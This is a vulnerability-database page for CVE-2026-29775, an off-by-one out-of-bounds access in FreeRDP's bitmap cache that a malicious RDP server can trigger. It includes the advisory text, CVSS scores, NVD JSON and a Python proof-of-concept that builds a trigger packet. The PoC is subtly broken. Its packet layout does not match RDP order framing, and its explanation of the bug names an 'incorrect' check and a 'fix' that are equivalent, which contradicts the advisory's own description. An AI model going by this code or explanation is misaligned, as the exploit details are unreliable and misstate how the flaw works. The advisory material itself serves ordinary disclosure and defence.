Security Vulnerability Report
中文
CVE-2026-29775 CVSS 5.3 MEDIUM

CVE-2026-29775

Published: 2026-03-13 19:54:33
Last Modified: 2026-03-17 14:43:17

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, a client-side heap out-of-bounds read/write occurs in FreeRDP's bitmap cache subsystem due to an off-by-one boundary check in bitmap_cache_put. A malicious server can send a CACHE_BITMAP_ORDER (Rev1) with cacheId equal to maxCells, bypassing the guard and accessing cells[] one element past the allocated array. This vulnerability is fixed in 3.24.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.24.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-29775 PoC - Malicious RDP Server Trigger # This PoC demonstrates the off-by-one vulnerability in FreeRDP's bitmap_cache_put # The server sends a CACHE_BITMAP_ORDER with cacheId = maxCells to trigger heap overflow import struct def create_cve_2026_29775_poc(): """ Generate malicious CACHE_BITMAP_ORDER packet to trigger off-by-one in bitmap_cache_put Vulnerability: In FreeRDP < 3.24.0, bitmap_cache_put has off-by-one boundary check When cacheId == maxCells, the guard check is bypassed, accessing cells[cacheId] out of bounds """ # RDP Header pkt_type = 0xE6 # CACHE_BITMAP_ORDER (Rev1) # Bitmap Cache Info - maxCells value max_cells = 100 # Example maxCells value # Malicious cacheId - equal to maxCells (off-by-one trigger) malicious_cache_id = max_cells # This bypasses the guard check # Construct CACHE_BITMAP_ORDER packet # Format: header + cacheId + bitmapData packet = struct.pack('>B', pkt_type) # Packet type packet += struct.pack('<I', malicious_cache_id) # cacheId = maxCells (trigger) # Add bitmap data to complete the packet packet += b'\x00' * 64 # Minimal bitmap data print(f"[+] Generated CVE-2026-29775 PoC packet") print(f"[+] Malicious cacheId: {malicious_cache_id} (maxCells: {max_cells})") print(f"[+] This will cause cells[{malicious_cache_id}] to be accessed out of bounds") return packet def simulate_exploit(): """ Simulate the vulnerable code path """ print("\n[!] Vulnerable code check:") print(" if (cacheId < maxCells) { // BUG: Should be cacheId <= maxCells-1") print(" // Access cells[cacheId] - VULNERABLE when cacheId == maxCells") print(" }") print("\n[+] Attack: Set cacheId = maxCells") print("[+] Result: Boundary check bypassed, OOB access on cells[] array") if __name__ == "__main__": create_cve_2026_29775_poc() simulate_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29775", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:33.053", "lastModified": "2026-03-17T14:43:17.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.24.0, a client-side heap out-of-bounds read/write occurs in FreeRDP's bitmap cache subsystem due to an off-by-one boundary check in bitmap_cache_put. A malicious server can send a CACHE_BITMAP_ORDER (Rev1) with cacheId equal to maxCells, bypassing the guard and accessing cells[] one element past the allocated array. This vulnerability is fixed in 3.24.0."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Antes de 3.24.0, se produce una lectura/escritura fuera de límites de la pila del lado del cliente en el subsistema de caché de mapas de bits de FreeRDP debido a un error de uno en la comprobación de límites en bitmap_cache_put. Un servidor malicioso puede enviar una CACHE_BITMAP_ORDER (Rev1) con cacheId igual a maxCells, eludiendo la protección y accediendo a cells[] un elemento más allá del array asignado. Esta vulnerabilidad se corrige en 3.24.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.24.0", "matchCriteriaId": "97FCA262-35C3-4B6B-A321-15CE780FCA20"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/commit/ffad58fd2b329efd81a3239e9d7e3c927b8e503f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h666-rfw3-jhvj", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-h666-rfw3-jhvj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Patch", "Vendor Advisory"]}]}}